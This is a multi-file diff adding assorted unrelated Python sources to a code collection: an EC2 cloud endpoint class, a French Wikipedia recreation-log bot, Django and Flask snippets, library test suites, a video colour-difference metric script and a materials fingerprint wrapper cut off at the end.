--- /dev/null +++ b/pool/shard008/Python/0077873_EC2Endpoint.py @@ -0,0 +1,205 @@ +""" EC2Endpoint class is the implementation of the EC2 interface to + a cloud endpoint +""" +import os +import json +import boto3 + +from DIRAC import gLogger, S_OK, S_ERROR +from DIRAC.Core.Utilities.File import makeGuid +from DIRAC.Resources.Cloud.Endpoint import Endpoint + + +class EC2Endpoint(Endpoint): + def __init__(self, parameters=None): + super(EC2Endpoint, self).__init__(parameters=parameters) + # logger + self.log = gLogger.getSubLogger("EC2Endpoint") + self.valid = False + result = self.initialize() + if result["OK"]: + self.log.debug("EC2Endpoint created and validated") + self.valid = True + else: + self.log.error(result["Message"]) + + def initialize(self): + + availableParams = { + "RegionName": "region_name", + "AccessKey": "aws_access_key_id", + "SecretKey": "aws_secret_access_key", + "EndpointUrl": "endpoint_url", # EndpointUrl is optional + } + + connDict = {} + for var in availableParams: + if var in self.parameters: + connDict[availableParams[var]] = self.parameters[var] + + try: + self.__ec2 = boto3.resource("ec2", **connDict) + except Exception as e: + self.log.exception("Failed to connect to EC2") + errorStatus = "Can't connect to EC2: " + str(e) + return S_ERROR(errorStatus) + + result = self.__loadInstanceType() + if not result["OK"]: + return result + + result = self.__checkConnection() + return result + + def __loadInstanceType(self): + currentDir = os.path.dirname(os.path.abspath(__file__)) + instanceTypeFile = os.path.join(currentDir, "ec2_instance_type.json") + try: + with open(instanceTypeFile, "r") as f: + self.__instanceTypeInfo = json.load(f) + except Exception as e: + self.log.exception("Failed to fetch EC2 instance details") + errmsg = "Exception loading EC2 instance type info: %s" % e + self.log.error(errmsg) + return S_ERROR(errmsg) + + return S_OK() + + def __checkConnection(self): + """ + Checks connection status by trying to list the images. + + :return: S_OK | S_ERROR + """ + try: + self.__ec2.images.filter(Owners=["self"]) + except Exception as e: + self.log.exception("Failed to list EC2 images") + return S_ERROR(e) + + return S_OK() + + def createInstances(self, vmsToSubmit): + outputDict = {} + + for nvm in range(vmsToSubmit): + instanceID = makeGuid()[:8] + result = self.createInstance(instanceID) + if result["OK"]: + ec2Id, nodeDict = result["Value"] + self.log.debug("Created VM instance %s/%s" % (ec2Id, instanceID)) + outputDict[ec2Id] = nodeDict + else: + self.log.error("Create EC2 instance error:", result["Message"]) + break + + return S_OK(outputDict) + + def createInstance(self, instanceID=""): + if not instanceID: + instanceID = makeGuid()[:8] + + self.parameters["VMUUID"] = instanceID + self.parameters["VMType"] = self.parameters.get("CEType", "EC2") + + createNodeDict = {} + + # Image + if "ImageID" in self.parameters and "ImageName" not in self.parameters: + try: + images = self.__ec2.images.filter(Filters=[{"Name": "name", "Values": [self.parameters["ImageName"]]}]) + imageId = None + for image in images: + imageId = image.id + break + except Exception as e: + self.log.exception("Exception when get ID from image name %s:" % self.parameters["ImageName"]) + return S_ERROR("Failed to get image for Name %s" % self.parameters["ImageName"]) + if imageId is None: + return S_ERROR("Image name %s not found" % self.parameters["ImageName"]) + elif "ImageID" in self.parameters: + try: + self.__ec2.images.filter(ImageIds=[self.parameters["ImageID"]]) + except Exception as e: + self.log.exception("Failed to get EC2 image list") + return S_ERROR("Failed to get image for ID %s" % self.parameters["ImageID"]) + imageId = self.parameters["ImageID"] + else: + return S_ERROR("No image specified") + createNodeDict["ImageId"] = imageId + + # Instance type + if "FlavorName" not in self.parameters: + return S_ERROR("No flavor specified") + instanceType = self.parameters["FlavorName"] + createNodeDict["InstanceType"] = instanceType + + # User data + result = self._createUserDataScript() + if not result["OK"]: + return result + createNodeDict["UserData"] = str(result["Value"]) + + # Other params + for param in ["KeyName", "SubnetId", "EbsOptimized"]: + if param in self.parameters: + createNodeDict[param] = self.parameters[param] + + self.log.info("Creating node:") + for key, value in createNodeDict.items(): + self.log.verbose("%s: %s" % (key, value)) + + # Create the VM instance now + try: + instances = self.__ec2.create_instances(MinCount=1, MaxCount=1, **createNodeDict) + except Exception as e: + self.log.exception("Failed to create EC2 instance") + return S_ERROR("Exception in ec2 create_instances: %s" % e) + + if len(instances) < 1: + errmsg = "ec2 create_instances failed to create any VM" + self.log.error(errmsg) + return S_ERROR(errmsg) + + # Create the name in tags + ec2Id = instances[0].id + tags = [{"Key": "Name", "Value": "DIRAC_%s" % instanceID}] + try: + self.__ec2.create_tags(Resources=[ec2Id], Tags=tags) + except Exception as e: + self.log.exception("Failed to tag EC2 instance") + return S_ERROR("Exception setup name for %s: %s" % (ec2Id, e)) + + # Properties of the instance + nodeDict = {} + # nodeDict['PublicIP'] = publicIP + nodeDict["InstanceID"] = instanceID + if instanceType in self.__instanceTypeInfo: + nodeDict["NumberOfProcessors"] = self.__instanceTypeInfo[instanceType]["vCPU"] + nodeDict["RAM"] = self.__instanceTypeInfo[instanceType]["Memory"] + else: + nodeDict["NumberOfProcessors"] = 1 + + return S_OK((ec2Id, nodeDict)) + + def stopVM(self, nodeID, publicIP=""): + """ + Given the node ID it gets the node details, which are used to destroy the + node making use of the libcloud.openstack driver. If three is any public IP + ( floating IP ) assigned, frees it as well. + + :Parameters: + **uniqueId** - `string` + openstack node id ( not uuid ! ) + **public_ip** - `string` + public IP assigned to the node if any + + :return: S_OK | S_ERROR + """ + try: + self.__ec2.Instance(nodeID).terminate() + except Exception as e: + self.log.exception("Failed to terminate EC2 instance") + return S_ERROR("Exception terminate instance %s: %s" % (nodeID, e)) + + return S_OK() diff --git a/pool/shard008/Python/0077874_recreation-old.py b/pool/shard008/Python/0077874_recreation-old.py new file mode 100644 index 0000000000000000000000000000000000000000..65bcc696fca0fbb5edd82fecc939cdd1d952dc41 --- /dev/null +++ b/pool/shard008/Python/0077874_recreation-old.py @@ -0,0 +1,271 @@ +# -*- encoding:utf-8 -*- +""" +Copyright (C) 2013 Xavier Combelle + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see + + +Ce bot permet de lister la liste des pages recrées + +usage typique + +python -m recreation.recreation --prefix 'Utilisateur:Xavier Combelle Bot/Journal des recréations' + +ou + +python -m recreation.recreation --prefix 'Utilisateur:Xavier Combelle Bot/Journal des recréations' --verbose +avec recreation.timestamp.txt un fichier contenant une seule ligne au format + +2013-08-10 + +qui est la dernière date à laquelle le bot a été lancée + +""" + +from __future__ import unicode_literals, print_function + +from datetime import date, timedelta, datetime +import argparse +import sys +import locale +import pywikibot + +from pywikibot import Page,Site +from pywikibot.exceptions import NoPage +from pywikibot.data import api + + +def api_query(params): + """make a query + + arguments: + params -- dictionary of params to pass to wikipedia api + + result: + dict as json result of api + """ + + query = api.Request(site=pywikibot.Site(),**params ) + datas = query.submit() + return datas + +def deletelog(title): + + """ + query the delete log for the page + + arguments: + title -- title of the page for which the log is required + + result: + either + - the last entry of delete log for the page + - None if there is no delete log + """ + + params = { + 'action': 'query', + 'list': "logevents", + 'letitle': title, + 'leprop':'title|timestamp', + 'leaction':"delete/delete", + 'lelimit':'1' + } + datas = api_query(params) + dl = datas['query']['logevents'] + if dl: + return dl[0] + +def creation_log(start,end): + """ + query the recent change for creation between the timestamp in parameter + + arguments: + start -- time stamp of first creation (format YYYY-MM-DDTHH:MM:SSZ)" + end -- time stamp of last creation (format YYYY-MM-DDTHH:MM:SSZ)" + + result: + list of the creation events occuring between the timestamp + """ + + params = { + 'action': 'query', + 'list': "recentchanges", + 'rctype': "new", + 'rcnamespace': '0', + 'rcprop':'title|user|timestamp', + 'rcstart':end, + 'rcend':start, + 'rclimit':'10', + } + all_done = False + + while not all_done : + + if all_done: + break + datas = api_query(params) + import pprint + if datas == []: + break + data = datas['query']["recentchanges"] + for d in data: + yield d + if 'query-continue' in datas: + if 'recentchanges' in datas['query-continue']: + params['rccontinue'] = datas['query-continue']['recentchanges']['rccontinue'] + + else: + all_done = True + +def to_date(day): + """ + convert a day from python time format to timestamp + + arguments: + day -- python time format day + + result: + timestamp (format YYYY-MM-DDTHH:MM:SSZ) + """ + + return day.strftime("%Y-%m-%dT00:00:00Z") + +def from_date(timestamp): + """ + convert a timestamp to python time format + + arguments: + timestamp -- string (format YYYY-MM-DDTHH:MM:SSZ) + + result: + python time format + """ + + return datetime.strptime(timestamp,"%Y-%m-%dT%H:%M:%SZ") + +def format_date(day,skip_day=False): + """ + format day in french human readable format + + arguments: + day -- python date format + skip_day -- if True format "janvier 2013" + + result: + the date formated of king + either: + - "1 janvier 2013" + - "janvier 2013" + depending on skip_day parameter + """ + + + if skip_day: + format_string = "{month} {year}" + else: + format_string = "{day} {month} {year}" + return format_string.format(day=day.day, + month={1:"janvier", + 2:"février", + 3:"mars", + 4:"avril", + 5:"mai", + 6:"juin", + 7:"juillet", + 8:"août", + 9:"septembre", + 10:"octobre", + 11:"novembre", + 12:"décembre"}[day.month], + year = day.year) + +def wiki_param(param): + """ + format a parameter such as it is well behaved as a parameter in a template + """ + if "=" in param: + return "1="+param + else: + return param + + +ONE_DAY = timedelta(1) + +def process(day): + """ + one day bot processing + + arguments: + day -- python date format + + """ + if params.verbose: + print("processing Journal des recréations ({day})".format(day=format_date(day))) + start = to_date(day) + end = to_date(day+ONE_DAY) + result = "\n== {} ==\n".format(format_date(day)) + comment = '' + for i,page in enumerate(creation_log(start,end),1): + gras = '' + if params.verbose: + print (i,page["timestamp"]) + + dl = deletelog(page["title"]) + if dl: + page_pas = Page(Site(), "Discussion:"+page["title"]+"/Suppression") + if page_pas.exists() and re.search('\{\{\ ?Article supprimé', page_pas.get(), re.I): + comment += u' - %s (malgré [[%s|PàS]])' % (page["title"], page_pas.title()) + gras = "'''" + r = ("* {g}{{{{a-court|{title}}}}} ([[{pas}|PàS]]) supprimé le {date} recréé par {{{{u|{user}}}}}{g} \n" + .format(title = wiki_param(page["title"]) , + pas = page_pas.title()), + user = wiki_param(page["user"]), + date = format_date(from_date(dl["timestamp"])), + g = gras) + if params.verbose: + print(r) + result += r + + page = Page(Site(), params.prefix+"/"+format_date(day,skip_day=True)) + + try: + result = page.get()+result + except NoPage: + pass + page.put(result,comment="Journal des recréations ({day})".format(day=format_date(day)) + comment) + +if __name__ == "__main__" : + + parser = argparse.ArgumentParser(description='recreaction bot for french wikipedia.') + parser.add_argument('--verbose', help="enable verbose output", action='store_true') + parser.add_argument('--prefix', + help="prefix of the list page of recreation example: 'Utilisateur:Xavier Combelle Bot/journal des recréations'", + action='store', + required = True) + + params = parser.parse_args() + if sys.version_info < (3, 0): + params.prefix = params.prefix.decode('utf-8')#params.prefix.decode(locale.getpreferredencoding()) + Site().forceLogin() + end = datetime.today() - ONE_DAY + with open("recreation.timestamp.txt") as ts: + start = datetime.strptime(ts.read().strip(),"%Y-%m-%d")+ONE_DAY + while start <= end: + process(start) + with open("recreation.timestamp.txt","w") as ts: + print(start.strftime("%Y-%m-%d"),file=ts) + start+=ONE_DAY + + diff --git a/pool/shard008/Python/0077882_urls.py b/pool/shard008/Python/0077882_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..c054b37c7ec591e4c396e613d360dda55e7437ce --- /dev/null +++ b/pool/shard008/Python/0077882_urls.py @@ -0,0 +1,15 @@ +from django.conf.urls import patterns, include, url + +# Uncomment the next two lines to enable the admin: +from django.contrib import admin +import django_stormpath.urls +admin.autodiscover() + + +urlpatterns = patterns('', + + url(r'^$', 'testapp.views.home'), + url(r'', include(django_stormpath.urls)), + url(r'^admin/', include(admin.site.urls)), + +) diff --git a/pool/shard008/Python/0077886_e53.py b/pool/shard008/Python/0077886_e53.py new file mode 100644 index 0000000000000000000000000000000000000000..15213978264ef9a6a8dd8ba0a11e205f264f1a6b --- /dev/null +++ b/pool/shard008/Python/0077886_e53.py @@ -0,0 +1,26 @@ +def fact(n, memo = {0:1, 1: 1}): + try: + return memo[n] + except KeyError: + result = n * fact(n - 1) + memo[n] = result + return result + +''' +def fact_no_memo(n): + result = 1 + for i in range(1,n + 1): Ended up more or less doubling speed to implement memo + result *= i + return result +''' + +def ncr(n,r): + return fact(n) / (fact(r) * fact(n - r)) + +count = 0 +for n in range(1,101): + for r in range(1,n + 1): + if ncr(n,r) > 1000000: + count += 1 + +print(count) diff --git a/pool/shard008/Python/0077888_conv3d.py b/pool/shard008/Python/0077888_conv3d.py new file mode 100644 index 0000000000000000000000000000000000000000..7d2dd175903e1a37e5bbffdaec0e3084979f0f51 --- /dev/null +++ b/pool/shard008/Python/0077888_conv3d.py @@ -0,0 +1,74 @@ +# Copyright 2021 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""Test configs for exp.""" +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import tensorflow.compat.v1 as tf +from tensorflow.lite.testing.zip_test_utils import create_tensor_data +from tensorflow.lite.testing.zip_test_utils import make_zip_of_tests +from tensorflow.lite.testing.zip_test_utils import register_make_test_function + + +@register_make_test_function() +def make_conv3d_tests(options): + """Make a set of tests to do conv3d.""" + + test_parameters = [{ + "input_dtype": [tf.float32], + "input_shape": [[2, 3, 4, 5, 3], [2, 5, 6, 8, 3]], + "filter_shape": [[2, 2, 2, 3, 2], [1, 2, 2, 3, 2]], + "strides": [(1, 1, 1, 1, 1), (1, 1, 1, 2, 1), (1, 1, 2, 2, 1), + (1, 2, 1, 2, 1), (1, 2, 2, 2, 1)], + "dilations": [(1, 1, 1, 1, 1)], + "padding": ["SAME", "VALID"], + }] + + def build_graph(parameters): + """Build the exp op testing graph.""" + input_tensor = tf.compat.v1.placeholder( + dtype=parameters["input_dtype"], + name="input", + shape=parameters["input_shape"]) + filter_tensor = tf.compat.v1.placeholder( + dtype=parameters["input_dtype"], + name="filter", + shape=parameters["filter_shape"]) + + out = tf.nn.conv3d( + input_tensor, + filter_tensor, + strides=parameters["strides"], + dilations=parameters["dilations"], + padding=parameters["padding"]) + return [input_tensor, filter_tensor], [out] + + def build_inputs(parameters, sess, inputs, outputs): + values = [ + create_tensor_data( + parameters["input_dtype"], + parameters["input_shape"], + min_value=-100, + max_value=9), + create_tensor_data( + parameters["input_dtype"], + parameters["filter_shape"], + min_value=-3, + max_value=3) + ] + return values, sess.run(outputs, feed_dict=dict(zip(inputs, values))) + + make_zip_of_tests(options, test_parameters, build_graph, build_inputs) diff --git a/pool/shard008/Python/0077893_dump_ciede2000.py b/pool/shard008/Python/0077893_dump_ciede2000.py new file mode 100644 index 0000000000000000000000000000000000000000..942b29421b0350a5de6c450d1bd37c9265277731 --- /dev/null +++ b/pool/shard008/Python/0077893_dump_ciede2000.py @@ -0,0 +1,115 @@ +#!/usr/bin/env python + +from collections import deque +import sys +import numpy as np +from skimage import color +import y4m + +# Assuming BT.709 +yuv2rgb = np.array([ + [1., 0., 1.28033], [1., -0.21482, -0.38059], [1., 2.12798, 0.] +]) + +# Simple box filter +box2 = np.ones((2, 2)) + + +def usage(): + print("Usage: %s \n" + " and must be YUV4MPEG files.\n\n" % __file__); + +def decode_y4m_buffer(frame): + W, H = frame.headers['W'], frame.headers['H'] + Wdiv2, Hdiv2 = W // 2, H // 2 + C, buf = frame.headers['C'], frame.buffer + A, Adiv2, div2 = W * H, Hdiv2 * Wdiv2, (Hdiv2, Wdiv2) + dtype, scale = 'uint8', 1. + if C.endswith('p10'): + dtype, scale, A, Adiv2 = 'uint16', 4., A * 2, Adiv2 * 2 + Y = (np.ndarray((H, W), dtype, buf) - 16. * scale) / (219. * scale) + if C.startswith('420'): + Cb = (np.ndarray(div2, dtype, buf, A) - 128. * scale) / (224. * scale) + Cr = (np.ndarray(div2, dtype, buf, A + Adiv2) - 128. * scale) / (224. * scale) + YCbCr444 = np.dstack((Y, np.kron(Cb, box2), np.kron(Cr, box2))) + else: + Cb = (np.ndarray((H, W), dtype, buf, A) - 128. * scale) / (224. * scale) + Cr = (np.ndarray((H, W), dtype, buf, A * 2) - 128. * scale) / (224. * scale) + YCbCr444 = np.dstack((Y, Cb, Cr)) + return np.dot(YCbCr444, yuv2rgb.T) + + +scores = [] + + +def process_pair(ref, recons): + ref_lab = color.rgb2lab(decode_y4m_buffer(ref)) + recons_lab = color.rgb2lab(decode_y4m_buffer(recons)) + # "Color Image Quality Assessment Based on CIEDE2000" + # Yang Yang, Jun Ming and Nenghai Yu, 2012 + # http://dx.doi.org/10.1155/2012/273723 + dE = color.deltaE_ciede2000(ref_lab, recons_lab, kL=0.65, kC=1.0, kH=4.0) + scores.append(45. - 20. * np.log10(dE.mean())) + print('%08d: %2.4f' % (ref.count, scores[-1])) + + +ref_frames = deque() +recons_frames = deque() + + +def process_ref(frame): + ref_frames.append(frame) + if recons_frames: + process_pair(ref_frames.popleft(), recons_frames.popleft()) + + +def process_recons(frame): + recons_frames.append(frame) + if ref_frames: + process_pair(ref_frames.popleft(), recons_frames.popleft()) + +class Reader(y4m.Reader): + def _frame_size(self): + area = self._stream_headers['W'] * self._stream_headers['H'] + C = self._stream_headers['C'] + if C.startswith('420'): + pixels = area * 3 // 2 + elif C.startswith('444'): + pixels = area * 3 + else: + raise Exception('Unknown pixel format: %s' % C) + if self._stream_headers['C'].endswith('p10'): + return 2 * pixels + return pixels + +def main(args): + if len(args) != 3: + usage() + sys.exit(0) + + OPENING = 'Opening %s...' + BLOCK_SIZE = 4 * 1024 * 1024 + ref_parser = Reader(process_ref) + recons_parser = Reader(process_recons) + print(OPENING % args[1]) + with open(args[1], 'r') as ref: + print(OPENING % args[2]) + with open(args[2], 'r') as recons: + try: + ref_buf, recons_buf = ref.buffer, recons.buffer + except: + ref_buf, recons_buf = ref, recons + while True: + if not ref_frames: + data = ref_buf.read(BLOCK_SIZE) + if not data: break + ref_parser.decode(data) + if not recons_frames: + data = recons_buf.read(BLOCK_SIZE) + if not data: break + recons_parser.decode(data) + print('Total: %2.4f' % np.array(scores).mean()) + + +if __name__ == '__main__': + main(sys.argv) diff --git a/pool/shard008/Python/0077896_logans.py b/pool/shard008/Python/0077896_logans.py new file mode 100644 index 0000000000000000000000000000000000000000..6a604b0165c98eba9b2d9c2a5fa0c6c3340e28c8 --- /dev/null +++ b/pool/shard008/Python/0077896_logans.py @@ -0,0 +1,22 @@ +from flask import Flask, url_for, render_template +from flask.ext import restful +from random import randint + +app = Flask(__name__) +api = restful.Api(app) + +names = ['Logan', 'Jennifer', 'Richard', 'Sam', 'Rumel', 'Rob', 'Alison'] + +class GenerateName(restful.Resource): + def get(self): + name = names[randint(0,6)] + ' ' + str(randint(1,30)) + return {'name': name} + +@app.route('/') +def home(): + return render_template('home.html') + +api.add_resource(GenerateName, '/generate') + +if __name__ == '__main__': + app.run(debug=True) \ No newline at end of file diff --git a/pool/shard008/Python/0077897_test_packuri.py b/pool/shard008/Python/0077897_test_packuri.py new file mode 100644 index 0000000000000000000000000000000000000000..f2527eba392f34d71aead52138add083e964835e --- /dev/null +++ b/pool/shard008/Python/0077897_test_packuri.py @@ -0,0 +1,88 @@ +# encoding: utf-8 + +""" +Test suite for the docx.opc.packuri module +""" + +import pytest + +from docx.opc.packuri import PackURI + + +class DescribePackURI(object): + + def cases(self, expected_values): + """ + Return list of tuples zipped from uri_str cases and + *expected_values*. Raise if lengths don't match. + """ + uri_str_cases = [ + '/', + '/ppt/presentation.xml', + '/ppt/slides/slide1.xml', + ] + if len(expected_values) != len(uri_str_cases): + msg = "len(expected_values) differs from len(uri_str_cases)" + raise AssertionError(msg) + pack_uris = [PackURI(uri_str) for uri_str in uri_str_cases] + return zip(pack_uris, expected_values) + + def it_can_construct_from_relative_ref(self): + baseURI = '/ppt/slides' + relative_ref = '../slideLayouts/slideLayout1.xml' + pack_uri = PackURI.from_rel_ref(baseURI, relative_ref) + assert pack_uri == '/ppt/slideLayouts/slideLayout1.xml' + + def it_should_raise_on_construct_with_bad_pack_uri_str(self): + with pytest.raises(ValueError): + PackURI('foobar') + + def it_can_calculate_baseURI(self): + expected_values = ('/', '/ppt', '/ppt/slides') + for pack_uri, expected_baseURI in self.cases(expected_values): + assert pack_uri.baseURI == expected_baseURI + + def it_can_calculate_extension(self): + expected_values = ('', 'xml', 'xml') + for pack_uri, expected_ext in self.cases(expected_values): + assert pack_uri.ext == expected_ext + + def it_can_calculate_filename(self): + expected_values = ('', 'presentation.xml', 'slide1.xml') + for pack_uri, expected_filename in self.cases(expected_values): + assert pack_uri.filename == expected_filename + + def it_knows_the_filename_index(self): + expected_values = (None, None, 1) + for pack_uri, expected_idx in self.cases(expected_values): + assert pack_uri.idx == expected_idx + + def it_can_calculate_membername(self): + expected_values = ( + '', + 'ppt/presentation.xml', + 'ppt/slides/slide1.xml', + ) + for pack_uri, expected_membername in self.cases(expected_values): + assert pack_uri.membername == expected_membername + + def it_can_calculate_relative_ref_value(self): + cases = ( + ('/', '/ppt/presentation.xml', 'ppt/presentation.xml'), + ('/ppt', '/ppt/slideMasters/slideMaster1.xml', + 'slideMasters/slideMaster1.xml'), + ('/ppt/slides', '/ppt/slideLayouts/slideLayout1.xml', + '../slideLayouts/slideLayout1.xml'), + ) + for baseURI, uri_str, expected_relative_ref in cases: + pack_uri = PackURI(uri_str) + assert pack_uri.relative_ref(baseURI) == expected_relative_ref + + def it_can_calculate_rels_uri(self): + expected_values = ( + '/_rels/.rels', + '/ppt/_rels/presentation.xml.rels', + '/ppt/slides/_rels/slide1.xml.rels', + ) + for pack_uri, expected_rels_uri in self.cases(expected_values): + assert pack_uri.rels_uri == expected_rels_uri diff --git a/pool/shard008/Python/0077901_updateBootstraper.py b/pool/shard008/Python/0077901_updateBootstraper.py new file mode 100644 index 0000000000000000000000000000000000000000..d50a5af9a30c44a5f000662dd75beb3a764321b0 --- /dev/null +++ b/pool/shard008/Python/0077901_updateBootstraper.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python3 + +import argparse +import base64 +import fileinput +import os +import re +import sys +import zlib + +files = [ + '.gitattributes', + '.gitignore', + 'AUTHORS', + 'autogen.sh', + 'COPYING', + 'NEWS', + 'ChangeLog', +] + +if __name__ == '__main__': + script_path = os.path.dirname(os.path.realpath(__file__)) + init_script_path = os.path.join(script_path, os.pardir, 'apertium-init.py') + + parser = argparse.ArgumentParser(description='Update the bootstraper script for any Apertium module') + parser.add_argument('-d', '--vanillaDirectory', help='location of directory with vanilla files', default=script_path) + parser.add_argument('-f', '--bootstraperScript', help='location of bootstraper script', default=init_script_path) + args = parser.parse_args() + + encoded_files = {} + + for filename in files: + with open(os.path.join(args.vanillaDirectory, filename), 'rb') as f: + encoded_files[filename] = base64.b85encode(zlib.compress(f.read())) + + for line in fileinput.input((args.bootstraperScript, ), inplace=True): + sys.stdout.write(re.sub(r'^any_module_files = {.*?} # noqa: E501$', 'any_module_files = %s # noqa: E501' % repr(encoded_files), line)) diff --git a/pool/shard008/Python/0077906_core.py b/pool/shard008/Python/0077906_core.py new file mode 100644 index 0000000000000000000000000000000000000000..7103c2dc9ca4966ebadb7f55dbaa8864d52839bf --- /dev/null +++ b/pool/shard008/Python/0077906_core.py @@ -0,0 +1,47 @@ +# Module: core +# Date: 20th December 2014 +# Author: James Mills, prologic at shortcircuit dot net dot au + + +"""Core Module + +Crates server component, load plugins and handles process signals. +""" + +from logging import getLogger +from signal import SIGINT, SIGHUP, SIGTERM + + +from circuits import handler, BaseComponent + + +from .server import Server +from .plugins import Plugins + + +class Core(BaseComponent): + + channel = "core" + + def init(self, config): + self.config = config + + self.logger = getLogger(__name__) + + self.server = Server(self.config).register(self) + + self.plugins = Plugins( + init_args=(self.server, self.config) + ).register(self) + + self.logger.info("Loading plugins ...") + for plugin in self.config.get("plugins", ["core"]): + self.plugins.load(plugin) + + @handler("signal", channel="*") + def signal(self, signo, stack): + if signo == SIGHUP: + self.config.reload_config() + elif signo in (SIGINT, SIGTERM): + raise SystemExit(0) + return True diff --git a/pool/shard008/Python/0077912_test_pricing_rule.py b/pool/shard008/Python/0077912_test_pricing_rule.py new file mode 100644 index 0000000000000000000000000000000000000000..65b66b68519cec4b9d5c5cdf3377769b1ce61c79 --- /dev/null +++ b/pool/shard008/Python/0077912_test_pricing_rule.py @@ -0,0 +1,84 @@ +# Copyright (c) 2013, Web Notes Technologies Pvt. Ltd. and Contributors +# License: GNU General Public License v3. See license.txt + + +from __future__ import unicode_literals +import unittest +import frappe + +class TestPricingRule(unittest.TestCase): + def test_pricing_rule_for_discount(self): + from erpnext.stock.get_item_details import get_item_details + from frappe import MandatoryError + + frappe.db.sql("delete from tabPricing_Rule") + + test_record = { + "doctype": "Pricing Rule", + "apply_on": "Item Code", + "item_code": "_Test Item", + "selling": 1, + "price_or_discount": "Discount Percentage", + "price": 0, + "discount_percentage": 10, + "company": "_Test Company" + } + frappe.get_doc(test_record.copy()).insert() + + args = frappe._dict({ + "item_code": "_Test Item", + "company": "_Test Company", + "price_list": "_Test Price List", + "currency": "_Test Currency", + "parenttype": "Sales Order", + "conversion_rate": 1, + "price_list_currency": "_Test Currency", + "plc_conversion_rate": 1, + "order_type": "Sales", + "transaction_type": "selling", + "customer": "_Test Customer", + "doctype": "Sales Order Item", + "name": None + }) + details = get_item_details(args) + self.assertEquals(details.get("discount_percentage"), 10) + + prule = frappe.get_doc(test_record.copy()) + prule.applicable_for = "Customer" + self.assertRaises(MandatoryError, prule.insert) + prule.customer = "_Test Customer" + prule.discount_percentage = 20 + prule.insert() + details = get_item_details(args) + self.assertEquals(details.get("discount_percentage"), 20) + + prule = frappe.get_doc(test_record.copy()) + prule.apply_on = "Item Group" + prule.item_group = "All Item Groups" + prule.discount_percentage = 15 + prule.insert() + + args.customer = None + details = get_item_details(args) + self.assertEquals(details.get("discount_percentage"), 10) + + prule = frappe.get_doc(test_record.copy()) + prule.applicable_for = "Campaign" + prule.campaign = "_Test Campaign" + prule.discount_percentage = 5 + prule.priority = 8 + prule.insert() + + args.campaign = "_Test Campaign" + details = get_item_details(args) + self.assertEquals(details.get("discount_percentage"), 5) + + frappe.db.sql("update tabPricing_Rule set priority=NULL where campaign='_Test Campaign'") + from erpnext.accounts.doctype.pricing_rule.pricing_rule import MultiplePricingRuleConflict + self.assertRaises(MultiplePricingRuleConflict, get_item_details, args) + + args.item_code = "_Test Item 2" + details = get_item_details(args) + self.assertEquals(details.get("discount_percentage"), 15) + + frappe.db.sql("delete from tabPricing_Rule") diff --git a/pool/shard008/Python/0077913_fplib.py b/pool/shard008/Python/0077913_fplib.py new file mode 100644 index 0000000000000000000000000000000000000000..445696eafda1aa8e58d0c7a737f73852ec63c955 --- /dev/null +++ b/pool/shard008/Python/0077913_fplib.py @@ -0,0 +1,107 @@ +#/******************************************************************************* +# * Copyright (C) 2021 Zhu Research Group @ Rutgers-Newark +# * All rights reserved. +# * +# * This file is part of fplib. +# * +# * Permission is hereby granted, free of charge, to any person obtaining a copy +# * of this software and associated documentation files (the "Software"), to deal +# * in the Software without restriction, including without limitation the rights +# * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# * copies of the Software, and to permit persons to whom the Software is +# * furnished to do so, subject to the following conditions: +# * +# * The above copyright notice and this permission notice shall be included in +# * all copies or substantial portions of the Software. +# * +# * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# * THE SOFTWARE. +# * ****************************************************************************/ + +from . import _fplib as fp +import numpy as np + +def get_version(): + return tuple(fp.version()) + + +def get_lfp(cell, + cutoff=4.0, + log=True, + orbital='s', + natx=300): + ''' + cell : tuple (lattice, rxyz, types, znucl) + ''' + (lat, rxyz, types, znucl) = _expand_cell(cell) + if log is True: + wlog = 1 + else: + wlog = 0 + if orbital == 's': + lmax = 0 + elif orbital == 'sp': + lmax = 1 + else: + print ('Warning: wrong type of orbital') + lmax = 0 + + (sfp, lfp) = fp.fp_periodic(0, wlog, lat, rxyz, types, znucl, lmax, natx, cutoff) + return np.array(lfp) + + +def get_sfp(cell, + cutoff=4.0, + log=True, + orbital='s', + natx=300): + ''' + cell : tuple (lattice, rxyz, types, znucl) + ''' + lat, rxyz, types, znucl = _expand_cell(cell) + if log is True: + wlog = 1 + else: + wlog = 0 + if orbital == 's': + lmax = 0 + elif orbital == 'sp': + lmax = 1 + else: + print ('Warning: wrong type of orbital') + lmax = 0 + + (sfp, lfp) = fp.fp_periodic(1, wlog, lat, rxyz, types, znucl, lmax, natx, cutoff) + return np.array(sfp) + + +def get_fp_dist(lfp1, lfp2, types, assignment=False): + ntyp = len(set(types)) + dist, m = fp.fp_dist(ntyp, types, lfp1, lfp2) + if assignment: + return dist, m + else: + return dist + +def get_nfp(rxyz, types, znucl): + nfp = fp.fp_nonperiodic(rxyz, types, znucl) + return np.array(nfp) + +def get_nfp_dist(fp1, fp2): + d = fp1 - fp2 + return np.sqrt(np.dot(d, d)) + +def _expand_cell(cell): + lat = np.array(cell[0], float) + rxyz = 